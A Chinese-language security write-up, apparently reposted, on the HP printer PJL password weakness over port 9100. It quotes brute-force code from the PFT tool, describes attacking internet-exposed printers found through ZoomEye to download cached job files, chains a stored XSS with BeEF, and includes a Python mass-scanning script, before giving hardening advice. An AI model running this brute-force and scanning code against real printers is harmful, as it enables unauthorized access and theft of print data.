打印機PCL漏洞原理分析


0x01 漏洞概要

PCL代表打印機控制語言(Printer Control Language),由惠普公司開發,並被廣泛使用的一種打印機協議。關於另一種頁面描述語言,應該提一提由Adobe設計的PostScript(PS),它可以將更為復雜的事情交由繪圖儀/打印機處理。PJL (Printer Job Language,打印機作業語言)作為PCL的擴展,用於指導打印機行為,比如更改設備設置、傳輸文件等。 若打印機的9100端口向公網開啟,在向打印機發送PJL指令之前需要對使用者的身份進行認證,認證程序的密鑰長度為2字節(Byte),因此可以通過暴力破解認證密鑰想打印機發送PJL指令,最終導致任意命令的執行。

PJL (Printer Job Language)程序用於告訴打印機執行什么動作,是對PCL的額外支持。 PJL (Printer Job Language) 用於規范格式化頁面的基本語言。本身是無害的,但卻成為大多數解析器和解釋器的漏洞利用代碼。

0x02 漏洞原理

打印機系統9100端口開啟時,若連上該端口通過PJL指令發送設備名稱請求並得到打印機的響應,說明可以未授權訪問打印機,PJL保護機制的密鑰由2個字節(16比特)的存儲單位存儲,可以進行暴力破解攻擊,從而得到目標打印機的完全訪問權限。

根據國外安全研究員PHENOELIT 已經寫好了漏洞利用程序,對其中的主要代碼進行分析,得到下面的流程圖

流程圖

下面是破解密鑰部分的代碼:

  • 在pjlsession.cpp中的230到256行

 

 

void PJLsession::blind_disable_pjl_password(unsigned int pass) {
	    String	ts;
	    char numb[50];
	    if ((pass==0)||(pass>65535)) throw ExInvalid();#ifndef UNIX
	    _snprintf(numb,49,"%u",pass);#else
	    snprintf(numb,49,"%u",pass);#endif //UNIX
	    connection.clear();
	    connection.sendbuf.set(PJL_START);
	    connection.sendbuf.append("\r\n");
	    connection.sendbuf.append("@PJL JOB PASSWORD=");
	    connection.sendbuf.append(numb);
	    connection.sendbuf.append("\r\n@PJL DEFAULT PASSWORD=0 \r\n");
	    connection.sendbuf.append("@PJL EOJ\r\n");
	    connection.sendbuf.append(PJL_FINISH);
	    connection.senddata();
	    // TEST !!!
	    // connection.recvatleast(9,ctimeout);
	    // end TEST
	    connection.sendbuf.clear();
	}

因為打印機所使用的密碼長度只有2個字節,即16個bit, 65535中表示方法,所以密碼范圍在0到65535之間,這就是為什么程序能暴力破解打印機認證密碼。

 

connection.sendbuf.set()后面根據PJL協議發送指定的數據包。使攻擊者在破解密碼之后可以用里面的命令進行任意操作了。

0x03 案例分析

首先獲取可能存在漏洞的打印機IP地址,打開www.zoomeye.org,輸入漏洞關鍵字 HP LaserJet 進行搜索。搜索結果如下:

HP LaserJet

從結果中可以看到一些帶有 HP LaserJet 標簽的互聯網主機和所屬國家信息,這些主機就很有可能隱藏着打印機漏洞。我們從中選取一些進行測試。

Nmap端口掃描

Nmap的掃描結果顯示主機不但開啟了9100端口,80,443,23端口也開着,入侵也就多了一些其他的方式。

Nmap

我們使用 PHENOELIT 開發的PFT工具來進行滲透測試。這個用C++寫成的黑客工具有簡單的命令行交互界面,專門用來破解PLJ接口的打印機,獲取打印機的環境變量、文件系統和重要目標文件。

PFT密碼破解

pft

我們運行PFT工具,用 help 命令查看幫助文檔

help

可以用PFT提供的暴力破解功能清除掉打印機的 PJL 程序保護。

bruteforce

顯示密碼清除成功,使用 ls 命令查看打印機上硬盤里的文件:

remote

在這里可以查看打印機硬盤中存放的所有東西。如果打印機緩存了打印文件,在這里也是可以找到的。我們可以進入一個目錄選擇一個文件下載到本地:

download

查看L006105.XML文件的內容:

xml

在這里可以查看到一些諸如本次打印的任務主機IP,郵箱,打印的文件名等敏感信息。

XSS攻擊

存在於惠普打印機中風險的僅僅是拒絕服務,信息泄漏這么簡單嗎?在 Exploit-DB網站 中找到 HPLaserJet printers - Multiple Stored XSS Vulnerabilities(點擊連接) 惠普打印機的多個存儲型 XSS 漏洞, 對應 CVE 號: CVE-2012-3272 沒給出利用方式,試着打開瀏覽器Fuzz了出來: 點擊WEB的“支持信息”連接

support

點擊 Apply 按鈕,出現了 XSS 彈框:

XSS

利用該漏洞,配合 Beef 攻擊框架,通過一段編寫好的 JavaScript(hook.js)控制目標主機的瀏覽器,通過目標主機瀏覽器獲得該主機的詳細信息,並進一步掃描內網,配合 Metasploit 絕對是內網滲透一大殺器。

0x04 全球漏洞分布

自動測試腳本

HP打印機的廠商已經對固件進行了升級,采用更安全的加密機制處理PJL密鑰,不過由於全球范圍用戶基數比較大,已經用戶安全意識不強,依然大量存在這種受害打印機,由ZoomEye網絡空間搜索引擎導出的數據接合我們小組寫的自動化掃描腳本。

 

#!/usr/bin/env python
    # -*- coding: UTF-8 -*-

    import socket
    import json
    import sys
    from optparse import OptionParser

    PJL_START = "\033%-12345X@PJL "
    PJL_FINISH = "\033%-12345X\r\n"
    PJL_USTATUS = "USTATUS DEVICE="
    PJL_INFO_ID = "INFO ID\r\n"

    EOF = PJL_START + PJL_USTATUS + "OFF\r\n" + PJL_FINISH  #PJL  語言 
    DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH  #PJL  語言  獲取設備型號

    class Printer():
        def __init__(self):
            self.usage()
            if sys.argv < 1 :
                self.usage()
            self.readfile(options.file)

        def usage(self):
            parser = OptionParser()
            parser.add_option("-i", "--ip", dest="ip",
                              help="test single ip")  #
            parser.add_option("-f", "--file",dest="file",
                              help="files ") #
            global options
            (options, args) = parser.parse_args()

        def Buildsocket(self, ip, port=9100):
            sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0)   #與主機建立socket連接
            sock.settimeout(5)
            try:
                sock.connect((ip, port))
            except:
                print "[!*]-ip-%s-can't connect--" % ip
                return 'error'
            sock.send(EOF)
            sock.send(DEVICEID)   # 發送PJL指令給遠程打印機
            try:
                device = sock.recv(1024)
            except:
                return 'No'
            print "[!*]-ip-%s-is-ok\r\ndeviceidis-%s" % (str(ip), device)
            sock.close()
            return 'OK'

        def GetDiviceMap(self, data,status):
            f = open('result.txt', 'a+')
            try:
                f.write(str(data['ip']) + ', ' + status + ', ' + str(data['geoinfo']['country']['name']['en'])
                +', '+ str(data['geoinfo']['city']['en']) + ', ' + str(data['geoinfo']['location']['longitude'])
                +', '+ str(data['geoinfo']['location']['latitude']) + ', ' + str(data['geoinfo']['country']['code'])
                +', ' + str(data['geoinfo']['continent']['name']['en']) + "\r\n")
            except:
                pass
            f.close()

        def readfile(self, file):
            Vuln_ip = 0 # ip 列表輸入的IP數量
            No_vuln_ip = 0
            CantConnectIP = 0
            linenum = 0
            f = open(file, 'r')
            for line in f.readlines():
                data = json.loads(line)
                status = self.Buildsocket(data['ip'])
                if status == 'error':
                    CantConnectIP += 1
                elif status == 'No':
                    No_vuln_ip += 1
                else:
                    Vuln_ip += 1
                self.GetDiviceMap(data, status)
                linenum += 1
                print "[!*]-Now-is-%s-lines" % str(linenum)
            f.close()
            print str(CantConnectIP) + "  " + str(No_vuln_ip) + "  " + str(Vuln_ip)

    if __name__ == '__main__':
        Printer()
 

  

 

全球影響面

這個漏洞波及了很多國家和地區,以美國最盛。我們用小組開發的自動化腳本加上ZoomEye提供的1萬組惠普打印機IP進行測試。 結果繪制成圖表如下。

  • 全球可入侵IP分布

hacked

  • 全球已修復IP分布

non-hacked

可以看到,美國是 PCL 打印機漏洞的重災區,至今還擁有數量最多的漏洞主機。韓國也受到了很大的影響。其他國家,包括中國,有漏洞的打印機數量都不多,而且一半以上已被修復。

exploit-ratio

0x05 修補建議

對打印機管理員有以下建議:

  • 不使用的服務,如 FTP ,TELNET 服務,應手動關閉。
  • 直接關閉 9100 端口,不允許外網訪問。
  • 不要使用公網 IP 作為打印機地址。
  • 關注產品動態,保證及時更新。

0x06 結論

像打印機,攝像頭這種聯網類型的設備,目前大家對這方面的安全意識需要進一步加強,最好把設備控制在內網使用。如果需要提供到外網接口,一定要采取一定的安全措施,默認的安全口令也需要修改。增加攻擊人員的成本從而使得設備更加安全。

本文由 我和另外兩個小伙伴 fengxuan zhufengdaaa 完成

原文首發於:http://zhufengdaaa.github.io

參考網址:

https://www.altamiracorp.com/blog/employee-posts/hacking-hp-printers-for-fun-profit

https://en.wikipedia.org/wiki/Printer_Job_Language

http://www.51cto.com/art/200508/7989.htm

https://www.exploit-db.com/exploits/10011/

http://www.freebuf.com/articles/system/7115.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM